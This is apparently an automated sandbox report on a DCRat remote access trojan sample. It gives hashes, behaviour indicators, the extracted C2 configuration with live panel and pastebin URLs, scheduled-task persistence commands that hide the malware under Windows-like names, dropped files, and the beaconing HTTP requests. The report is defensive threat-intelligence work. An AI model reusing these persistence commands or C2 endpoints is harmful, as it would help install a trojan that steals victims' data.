File name:

fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe

Full analysis: https://app.any.run/tasks/578618bf-b83c-4ac7-bfc7-1b61b36ef1ba
Verdict: Malicious activity
Threats:

DCrat, also known as Dark Crystal RAT, is a remote access trojan (RAT), which was first introduced in 2018. It is a modular malware that can be customized to perform different tasks. For instance, it can steal passwords, crypto wallet information, hijack Telegram and Steam accounts, and more. Attackers may use a variety of methods to distribute DCrat, but phishing email campaigns are the most common.

Malware Trends Tracker     >>>
Analysis date: June 13, 2024, 14:38:59
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
loader
rat
dcrat
remote
darkcrystal
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

0CE36B19FD7D0DC505076D90B54AFD5C

SHA1:

91CA6268E0676C2D985B96F1D431A52DB6165CBC

SHA256:

FE97C8C1E0A639E51FE0FA1D9AA863067B19B37D10D78D5BCF7D2B1D69550708

SSDEEP:

49152:bKIBBGwWx+Pf9p2VAWY/FPOPrDJfu4MxNVX2DYH2DYH2DYH2DYH2DY:bPGnx+PFp2E9Pcmfxbs6s6s6s6s

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe (PID: 6352)
      • autohotkey.exe (PID: 6412)
      • chaindllNet.exe (PID: 7092)

    • Uses sleep, probably for evasion detection (SCRIPT)

      • wscript.exe (PID: 6460)

    • Actions looks like stealing of personal data

      • fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe (PID: 5620)

    • DARKCRYSTAL has been detected (SURICATA)

      • fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe (PID: 5620)

    • Connects to the CnC server

      • fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe (PID: 5620)

    • DCRAT has been detected (YARA)

      • fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe (PID: 5620)

  • SUSPICIOUS

    • Reads security settings of Internet Explorer

      • fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe (PID: 6352)
      • autohotkey.exe (PID: 6412)
      • chaindllNet.exe (PID: 7092)

    • Executable content was dropped or overwritten

      • fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe (PID: 6352)
      • autohotkey.exe (PID: 6412)
      • chaindllNet.exe (PID: 7092)

    • Potential Corporate Privacy Violation

      • fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe (PID: 6352)

    • Reads the date of Windows installation

      • autohotkey.exe (PID: 6412)
      • chaindllNet.exe (PID: 7092)

    • Executed via WMI

      • schtasks.exe (PID: 6284)
      • schtasks.exe (PID: 3700)
      • schtasks.exe (PID: 1280)
      • schtasks.exe (PID: 4724)
      • schtasks.exe (PID: 5064)
      • schtasks.exe (PID: 5840)
      • schtasks.exe (PID: 4936)
      • schtasks.exe (PID: 896)
      • schtasks.exe (PID: 2684)
      • schtasks.exe (PID: 1864)
      • schtasks.exe (PID: 6176)
      • schtasks.exe (PID: 4988)
      • schtasks.exe (PID: 3500)
      • schtasks.exe (PID: 4536)
      • schtasks.exe (PID: 2084)
      • schtasks.exe (PID: 5108)
      • schtasks.exe (PID: 6148)
      • schtasks.exe (PID: 5920)
      • schtasks.exe (PID: 2680)
      • schtasks.exe (PID: 4548)
      • schtasks.exe (PID: 5996)
      • schtasks.exe (PID: 6308)
      • schtasks.exe (PID: 6212)
      • schtasks.exe (PID: 6240)
      • schtasks.exe (PID: 6324)
      • schtasks.exe (PID: 6252)
      • schtasks.exe (PID: 5852)
      • schtasks.exe (PID: 3728)
      • schtasks.exe (PID: 6436)
      • schtasks.exe (PID: 6420)
      • schtasks.exe (PID: 1512)
      • schtasks.exe (PID: 2620)
      • schtasks.exe (PID: 4360)
      • schtasks.exe (PID: 3956)
      • schtasks.exe (PID: 4852)
      • schtasks.exe (PID: 6480)
      • schtasks.exe (PID: 6416)
      • schtasks.exe (PID: 6688)
      • schtasks.exe (PID: 5404)
      • schtasks.exe (PID: 5932)
      • schtasks.exe (PID: 6472)
      • schtasks.exe (PID: 6988)
      • schtasks.exe (PID: 7044)
      • schtasks.exe (PID: 6152)
      • schtasks.exe (PID: 5552)
      • schtasks.exe (PID: 1112)
      • schtasks.exe (PID: 2508)
      • schtasks.exe (PID: 1204)
      • schtasks.exe (PID: 3500)
      • schtasks.exe (PID: 4620)
      • schtasks.exe (PID: 5100)
      • schtasks.exe (PID: 2084)
      • schtasks.exe (PID: 4148)
      • schtasks.exe (PID: 5964)
      • schtasks.exe (PID: 1108)
      • schtasks.exe (PID: 5064)
      • schtasks.exe (PID: 712)

    • The process creates files with name similar to system file names

      • chaindllNet.exe (PID: 7092)

    • Executing commands from a ".bat" file

      • wscript.exe (PID: 6460)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 6460)

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 6460)

    • Likely accesses (executes) a file from the Public directory

      • schtasks.exe (PID: 2684)
      • schtasks.exe (PID: 1864)
      • schtasks.exe (PID: 896)

    • Starts itself from another location

      • chaindllNet.exe (PID: 7092)

    • Contacting a server suspected of hosting an CnC

      • fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe (PID: 5620)

  • INFO

    • Checks proxy server information

      • fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe (PID: 6352)
      • fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe (PID: 5620)

    • Checks supported languages

      • fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe (PID: 6352)
      • autohotkey.exe (PID: 6412)
      • chaindllNet.exe (PID: 7092)
      • fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe (PID: 5620)

    • Reads the computer name

      • fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe (PID: 6352)
      • autohotkey.exe (PID: 6412)
      • chaindllNet.exe (PID: 7092)
      • fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe (PID: 5620)

    • Creates files in the program directory

      • fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe (PID: 6352)
      • chaindllNet.exe (PID: 7092)

    • Process checks computer location settings

      • autohotkey.exe (PID: 6412)
      • chaindllNet.exe (PID: 7092)

    • Reads Environment values

      • chaindllNet.exe (PID: 7092)
      • fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe (PID: 5620)

    • Reads the machine GUID from the registry

      • chaindllNet.exe (PID: 7092)
      • fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe (PID: 5620)

    • Disables trace logs

      • fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe (PID: 5620)

    • Reads the software policy settings

      • fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe (PID: 5620)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

DcRat

(PID) Process(5620) fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe
C2 (1)https://pastebin.com/raw/gPWQezp5
Options
MutexDCR_MUTEX-Klwp32wcGXMv50RNxN4v
searchpath%UsersFolder% - Fast
Targetals
C2 (1)http://a0992844.xsph.ru/L1nc0In
Options
MutexDCR_MUTEX-Klwp32wcGXMv50RNxN4v
Debugfalse
ServerConfigReplacementTable
0;
1%
6@
L,
b_
i`
D<
N>
m-
X!
c.
B~
U)
w|
I
J$
y^
W(
o*
l#
E&
PluginConfigReplacementTable
0@
6-
=`
I*
x$
i<
e,
j)
w&
y_
S#
M;
c^
Q%
X|
b.
p>
f!
D(
l~
GetWebcamsfalse
SleepTimeout5
InactivityTimeout2
CacheStorageRegistry
AutoRunSmart
StealerConfig
searchpath%UsersFolder% - Fast
StealerEnabledfalse
StealerOptionsfalse
SelfDeletefalse
Version4.5.32
ServerTypeC#
No Malware configuration.

TRiD

.exe | Win32 Executable MS Visual C++ (generic) (35.8)
.exe | Win64 Executable (generic) (31.7)
.scr | Windows screen saver (15)
.dll | Win32 Dynamic Link Library (generic) (7.5)
.exe | Win32 Executable (generic) (5.1)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2023:07:08 05:25:30+00:00
ImageFileCharacteristics: No relocs, Executable, 32-bit
PEType: PE32
LinkerVersion: 10
CodeSize: 704512
InitializedDataSize: 444928
UninitializedDataSize: -
EntryPoint: 0x9d2f0
OSVersion: 5
ImageVersion: -
SubsystemVersion: 5
Subsystem: Windows GUI
FileVersionNumber: 1.1.37.1
ProductVersionNumber: 1.1.37.1
FileFlagsMask: 0x0017
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: English (U.S.)
CharacterSet: Unicode
FileVersion: 1.1.37.01
ProductVersion: 1.1.37.01
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
187
Monitored processes
64
Malicious processes
6
Suspicious processes
0

Behavior graph

Click at the process to see the details
start fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe autohotkey.exe wscript.exe no specs cmd.exe no specs conhost.exe no specs chaindllnet.exe schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs #DCRAT fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe

Process information

PID
CMD
Path
Indicators
Parent process
712schtasks.exe /create /tn "fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708" /sc ONLOGON /tr "'C:\componentsvc\fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
896schtasks.exe /create /tn "WaaSMedicAgentW" /sc MINUTE /mo 11 /tr "'C:\Users\Public\AccountPictures\WaaSMedicAgent.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1108schtasks.exe /create /tn "fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708f" /sc MINUTE /mo 7 /tr "'C:\componentsvc\fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1112schtasks.exe /create /tn "MoUsoCoreWorker" /sc ONLOGON /tr "'C:\Users\Default\Recent\MoUsoCoreWorker.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1204schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 11 /tr "'C:\componentsvc\MoUsoCoreWorker.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1280schtasks.exe /create /tn "dasHost" /sc ONLOGON /tr "'C:\componentsvc\dasHost.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1512schtasks.exe /create /tn "fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708f" /sc MINUTE /mo 7 /tr "'C:\componentsvc\fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1864schtasks.exe /create /tn "WaaSMedicAgent" /sc ONLOGON /tr "'C:\Users\Public\AccountPictures\WaaSMedicAgent.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2084schtasks.exe /create /tn "dasHost" /sc ONLOGON /tr "'C:\componentsvc\dasHost.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2084schtasks.exe /create /tn "SystemSettings" /sc ONLOGON /tr "'C:\componentsvc\SystemSettings.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
9 619
Read events
9 569
Write events
50
Delete events
0

Modification events

(PID) Process:(6352) fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(6352) fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(6352) fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(6352) fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(6412) autohotkey.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ApplicationAssociationToasts
Operation:writeName:VBEFile_.vbe
Value:
0
(PID) Process:(6412) autohotkey.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.vbe\OpenWithProgids
Operation:writeName:VBEFile
Value:
(PID) Process:(6412) autohotkey.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(6412) autohotkey.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(6412) autohotkey.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(6412) autohotkey.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
Executable files
18
Suspicious files
1
Text files
17
Unknown types
0

Dropped files

PID
Process
Filename
Type
6412autohotkey.exeC:\componentsvc\gmXQdsl3CKBP7.vbebinary
MD5:6526468E412BCA871D417A9CE98415BA
SHA256:8D6C2A0442E0847145BB99F1808BDE9F1493ED44B5BC06FF6D29DFF04BE691E7
7092chaindllNet.exeC:\componentsvc\dasHost.exeexecutable
MD5:858CDA722C93131A66F356DC0EB69BFF
SHA256:F1B46592E22829A3313996673869726465277D4AEF5B619DBC52A194C8BBE91B
7092chaindllNet.exeC:\Windows\Tasks\9e60a5f7a3bd80text
MD5:C30CD4EC2D8DAF650652A6FECB3B70B5
SHA256:958123FE45E65D8ACE160526125639E9E7FD48C53717F7AB0CC1E2AF0CF021CB
6352fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exeC:\ProgramData\autohotkey.exeexecutable
MD5:70F256537F96AAA18B20837A4E90144B
SHA256:42AEBCEB7C6B4CE838877CF2D0B4D2305EAD1E0CC34BB9A87D743D98BD908666
6412autohotkey.exeC:\componentsvc\uV2QaNs0DJabkDJnku.battext
MD5:5D27D53EFE63A68146DA8DB9DFB31275
SHA256:55A9573A14B03D74DE941BCC2C6105F88291EE35C403ECB18E2F1C0D25336002
7092chaindllNet.exeC:\ProgramData\Comms\eddb19405b7ce1text
MD5:5E5F52851F5D2FC01A316C0C5C439FCE
SHA256:279939ACCE03B50AEE52414D58A94C09FA9B3DF09E3067473DD20F4106F3324C
7092chaindllNet.exeC:\Users\Public\AccountPictures\c82b8037eab33dtext
MD5:F53C34BEEFD31278F43ABC6DE814AFBC
SHA256:52553F561780A9413C2E314AEE3BA6FE6678378E058ED2B5B77340D0C20221B1
7092chaindllNet.exeC:\componentsvc\wininit.exeexecutable
MD5:858CDA722C93131A66F356DC0EB69BFF
SHA256:F1B46592E22829A3313996673869726465277D4AEF5B619DBC52A194C8BBE91B
7092chaindllNet.exeC:\Users\Public\AccountPictures\WaaSMedicAgent.exeexecutable
MD5:858CDA722C93131A66F356DC0EB69BFF
SHA256:F1B46592E22829A3313996673869726465277D4AEF5B619DBC52A194C8BBE91B
7092chaindllNet.exeC:\ProgramData\Comms\backgroundTaskHost.exeexecutable
MD5:858CDA722C93131A66F356DC0EB69BFF
SHA256:F1B46592E22829A3313996673869726465277D4AEF5B619DBC52A194C8BBE91B
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
41
TCP/UDP connections
66
DNS requests
22
Threats
7

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5548
svchost.exe
GET
200
2.16.2.82:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
unknown
5548
svchost.exe
GET
200
23.61.152.46:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
unknown
6352
fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe
GET
200
141.8.192.103:80
http://a0992844.xsph.ru/autohotkey/autohotkey.exe
unknown
—
—
unknown
4680
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D
unknown
—
—
unknown
5056
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
unknown
5620
fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe
GET
200
141.8.192.103:80
http://a0992844.xsph.ru/L1nc0In.php?NBRv8ttAuqVD4L=VycFn691uEXJ5XlkN&jKMMpJJGXiaLiTzIDZSpMcNKhrkjy=JGIJVATJIT5giabjfEUx&MRhrG6Cp7ik=uZUDZ7yy4Q9&c481e0d242f048f9b86cea4601756d81=aed46008058fad7a8fb61656ef827ca9&85f4c5a30df1adc7f9a53a07f235a274=QZxEzMlVTNxcTMhJ2YmZmMzYDO0QzMwEGNlZWN0MWOhJWZhJzYlVmM&NBRv8ttAuqVD4L=VycFn691uEXJ5XlkN&jKMMpJJGXiaLiTzIDZSpMcNKhrkjy=JGIJVATJIT5giabjfEUx&MRhrG6Cp7ik=uZUDZ7yy4Q9
unknown
—
—
unknown
5620
fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe
GET
200
141.8.192.103:80
http://a0992844.xsph.ru/L1nc0In.php?8dUS8RqlKjwyW8v8XOe=H30YTHgmOAoYNvu&23e63400e973094661d00abb91ee383c=gY0IGZ1EDNxkDN0YmNilDOyUWO1M2MhdTM1IWY4ETNxYWMmdjM1QWN0YTO4YDNyMDMyQjMwETM&85f4c5a30df1adc7f9a53a07f235a274=wN2kDNmBTN2czY5cTO1ETOkBTZlNzM5IzM3ATYxgTMhFjY3kDNyQDZ&20621311360bf783adb08c3b64c5c7c0=0VfiIiOiAzY0QGZ0EWY2ETMmZ2Y5UjY3QmMxYmMhRzM1EDNhljYiwiI4IWY0YWNhhzMyY2YjJzYzYDOlVzM0MGZyIWZlJmYhFTZzMTNiZWYkJiOiUzMyUzNjVjN2IjZ2gDM5MGMzIGMkZGOwczNxYzMzAzNiwiI2gjYmVWNwMzNzcjZiRDOkJGM5ATZkNjN3YjMmRzY2kTY4E2NxkTNiJiOiImYjJTO2UTZ4MmYyUjYmFjYiJGN3AjZjVWMjhTN1MjZis3W
unknown
—
—
unknown
5620
fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe
GET
200
141.8.192.103:80
http://a0992844.xsph.ru/L1nc0In.php?8dUS8RqlKjwyW8v8XOe=H30YTHgmOAoYNvu&23e63400e973094661d00abb91ee383c=gY0IGZ1EDNxkDN0YmNilDOyUWO1M2MhdTM1IWY4ETNxYWMmdjM1QWN0YTO4YDNyMDMyQjMwETM&85f4c5a30df1adc7f9a53a07f235a274=wN2kDNmBTN2czY5cTO1ETOkBTZlNzM5IzM3ATYxgTMhFjY3kDNyQDZ&6e1f636c3ddb7b1f8e6f68e21584be2a=0VfiElZp1UbkpnUuJGb1IjY3FjMipGeGhlNNtWS2k0QhBjRHVVa3lWS1R2MiVHdtJmVKl2Tpd2RkhmQGpVe5ITW6x2RSl2dplUavpWSvJFWZFVMXlVekdlWzZ1RWl2dplUavpWS6JESjJUMXlFbSNTVpdXaJVHZzIWd01mYWpUaPlWUVNVeWJzYWFzVZxmUzUVa3lWS1R2MiVHdtJmVKl2TplEWapnVWJGaWdEZUp0QMlGNyQmd1ITY1ZFbJZTS5pVdGdEV0Z0VaBjTsl0cJlmYzkTbiJXNXZVavpWSvJFWZFVMXlFbSNTVpdXaJZHbHpVMGVUSzsmeKRkRFlkcWdEZzZ0VaNlQTxUenNUS1xWRJxWNXFWT1cEW5hnVkJkQ55UNjlXUCJUehxmUIJGaW1WVnBTaN9WQTpVd5cUY3lTbjpGbXRVavpWS6ZVbiZHaHNmdKNTWwFzaJNXSplkNJl3Y0ZkMZlmVyYVa3lWS1hHbjNmRUdlQ4VUVUxWRSNGesx0Y4ZEWjpUaPlWTuJGbW12Yq5EbJNXS5tEN0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiAzY0QGZ0EWY2ETMmZ2Y5UjY3QmMxYmMhRzM1EDNhljYiwiI4IWY0YWNhhzMyY2YjJzYzYDOlVzM0MGZyIWZlJmYhFTZzMTNiZWYkJiOiUzMyUzNjVjN2IjZ2gDM5MGMzIGMkZGOwczNxYzMzAzNiwiI2gjYmVWNwMzNzcjZiRDOkJGM5ATZkNjN3YjMmRzY2kTY4E2NxkTNiJiOiImYjJTO2UTZ4MmYyUjYmFjYiJGN3AjZjVWMjhTN1MjZis3W
unknown
—
—
unknown
5620
